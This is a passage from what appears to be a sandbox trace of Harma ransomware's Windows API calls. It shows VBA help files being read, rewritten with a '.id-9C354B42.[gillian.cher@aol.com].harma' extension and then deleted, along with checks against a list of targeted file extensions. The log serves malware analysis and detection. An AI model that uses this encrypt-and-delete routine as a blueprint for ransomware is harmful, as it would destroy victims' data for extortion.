Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.708] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0062.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.708] lstrlenW (lpString=".doc") returned 4 [0062.708] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.708] lstrlenW (lpString=".docx") returned 5 [0062.708] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0062.709] lstrlenW (lpString=".pdf") returned 4 [0062.709] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.709] lstrlenW (lpString=".xls") returned 4 [0062.709] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.709] lstrlenW (lpString=".xlsx") returned 5 [0062.709] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0062.709] lstrlenW (lpString=".ppt") returned 4 [0062.709] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.709] lstrlenW (lpString=".zip") returned 4 [0062.709] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.709] lstrlenW (lpString=".rar") returned 4 [0062.709] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.709] lstrlenW (lpString=".bz2") returned 4 [0062.709] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.709] lstrlenW (lpString=".7z") returned 3 [0062.709] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.709] lstrlenW (lpString=".dbf") returned 4 [0062.709] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.709] lstrlenW (lpString=".1cd") returned 4 [0062.709] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.709] lstrlenW (lpString=".jpg") returned 4 [0062.709] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.709] lstrlenW (lpString=".doc") returned 4 [0062.710] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.710] lstrlenW (lpString=".docx") returned 5 [0062.710] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0062.710] lstrlenW (lpString=".pdf") returned 4 [0062.710] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.710] lstrlenW (lpString=".xls") returned 4 [0062.710] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.710] lstrlenW (lpString=".xlsx") returned 5 [0062.710] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0062.710] lstrlenW (lpString=".ppt") returned 4 [0062.710] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.710] lstrlenW (lpString=".zip") returned 4 [0062.710] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.710] lstrlenW (lpString=".rar") returned 4 [0062.710] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.710] lstrlenW (lpString=".bz2") returned 4 [0062.710] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.710] lstrlenW (lpString=".7z") returned 3 [0062.710] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.710] lstrlenW (lpString=".dbf") returned 4 [0062.710] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.710] lstrlenW (lpString=".1cd") returned 4 [0062.710] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0062.710] lstrlenW (lpString=".jpg") returned 4 [0062.710] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.711] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0062.711] lstrlenW (lpString="VBCN6.CHM") returned 9 [0062.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.711] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=109718) returned 1 [0062.711] CloseHandle (hObject=0x1f4) returned 1 [0062.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0062.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.712] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.712] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0062.712] GetLastError () returned 0x0 [0062.712] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0062.882] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0062.885] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.885] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.885] SetEndOfFile (hFile=0x1e4) returned 1 [0062.885] CloseHandle (hObject=0x1e4) returned 1 [0062.885] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.885] SetEndOfFile (hFile=0x1f4) returned 1 [0062.887] CloseHandle (hObject=0x1f4) returned 1 [0062.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.887] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0062.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.888] lstrlenW (lpString=".doc") returned 4 [0062.888] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.888] lstrlenW (lpString=".docx") returned 5 [0062.888] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0062.888] lstrlenW (lpString=".pdf") returned 4 [0062.888] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.888] lstrlenW (lpString=".xls") returned 4 [0062.888] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.888] lstrlenW (lpString=".xlsx") returned 5 [0062.888] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0062.888] lstrlenW (lpString=".ppt") returned 4 [0062.888] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.888] lstrlenW (lpString=".zip") returned 4 [0062.888] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.888] lstrlenW (lpString=".rar") returned 4 [0062.888] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.888] lstrlenW (lpString=".bz2") returned 4 [0062.888] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.888] lstrlenW (lpString=".7z") returned 3 [0062.888] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.888] lstrlenW (lpString=".dbf") returned 4 [0062.888] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.888] lstrlenW (lpString=".1cd") returned 4 [0062.888] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.888] lstrlenW (lpString=".jpg") returned 4 [0062.888] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.889] lstrlenW (lpString=".doc") returned 4 [0062.889] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.889] lstrlenW (lpString=".docx") returned 5 [0062.889] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0062.889] lstrlenW (lpString=".pdf") returned 4 [0062.889] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.889] lstrlenW (lpString=".xls") returned 4 [0062.889] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.889] lstrlenW (lpString=".xlsx") returned 5 [0062.889] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0062.889] lstrlenW (lpString=".ppt") returned 4 [0062.889] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.889] lstrlenW (lpString=".zip") returned 4 [0062.889] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.889] lstrlenW (lpString=".rar") returned 4 [0062.889] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.889] lstrlenW (lpString=".bz2") returned 4 [0062.889] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.889] lstrlenW (lpString=".7z") returned 3 [0062.889] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.889] lstrlenW (lpString=".dbf") returned 4 [0062.889] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.889] lstrlenW (lpString=".1cd") returned 4 [0062.889] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0062.890] lstrlenW (lpString=".jpg") returned 4 [0062.890] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.890] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0062.890] lstrlenW (lpString="VBOB6.CHM") returned 9 [0062.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.890] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=123956) returned 1 [0062.891] CloseHandle (hObject=0x1f4) returned 1 [0062.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0062.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0062.891] GetLastError () returned 0x0 [0062.891] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0062.896] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0062.899] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.899] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.899] SetEndOfFile (hFile=0x1e4) returned 1 [0062.899] CloseHandle (hObject=0x1e4) returned 1 [0062.900] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.900] SetEndOfFile (hFile=0x1f4) returned 1 [0062.901] CloseHandle (hObject=0x1f4) returned 1 [0062.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.902] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0062.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.902] lstrlenW (lpString=".doc") returned 4 [0062.902] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.902] lstrlenW (lpString=".docx") returned 5 [0062.902] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0062.902] lstrlenW (lpString=".pdf") returned 4 [0062.902] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.902] lstrlenW (lpString=".xls") returned 4 [0062.902] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.902] lstrlenW (lpString=".xlsx") returned 5 [0062.902] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0062.902] lstrlenW (lpString=".ppt") returned 4 [0062.902] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.902] lstrlenW (lpString=".zip") returned 4 [0062.902] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.902] lstrlenW (lpString=".rar") returned 4 [0062.902] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.902] lstrlenW (lpString=".bz2") returned 4 [0062.902] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.902] lstrlenW (lpString=".7z") returned 3 [0062.902] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.903] lstrlenW (lpString=".dbf") returned 4 [0062.903] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.903] lstrlenW (lpString=".1cd") returned 4 [0062.903] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.903] lstrlenW (lpString=".jpg") returned 4 [0062.903] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.903] lstrlenW (lpString=".doc") returned 4 [0062.903] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.903] lstrlenW (lpString=".docx") returned 5 [0062.903] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0062.903] lstrlenW (lpString=".pdf") returned 4 [0062.903] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.903] lstrlenW (lpString=".xls") returned 4 [0062.903] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.903] lstrlenW (lpString=".xlsx") returned 5 [0062.903] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0062.903] lstrlenW (lpString=".ppt") returned 4 [0062.903] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.903] lstrlenW (lpString=".zip") returned 4 [0062.903] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.903] lstrlenW (lpString=".rar") returned 4 [0062.903] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.904] lstrlenW (lpString=".bz2") returned 4 [0062.904] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.904] lstrlenW (lpString=".7z") returned 3 [0062.904] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.904] lstrlenW (lpString=".dbf") returned 4 [0062.904] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.904] lstrlenW (lpString=".1cd") returned 4 [0062.904] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0062.904] lstrlenW (lpString=".jpg") returned 4 [0062.904] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.904] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0062.904] lstrlenW (lpString="VBUI6.CHM") returned 9 [0062.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0062.907] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=416918) returned 1 [0062.907] CloseHandle (hObject=0x1e4) returned 1 [0062.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0062.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0062.907] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.907] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0062.908] GetLastError () returned 0x0 [0062.908] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0062.918] WriteFile (in: hFile=0x200, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0063.146] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.146] WriteFile (in: hFile=0x200, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0063.146] SetEndOfFile (hFile=0x200) returned 1 [0063.146] CloseHandle (hObject=0x200) returned 1 [0063.146] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 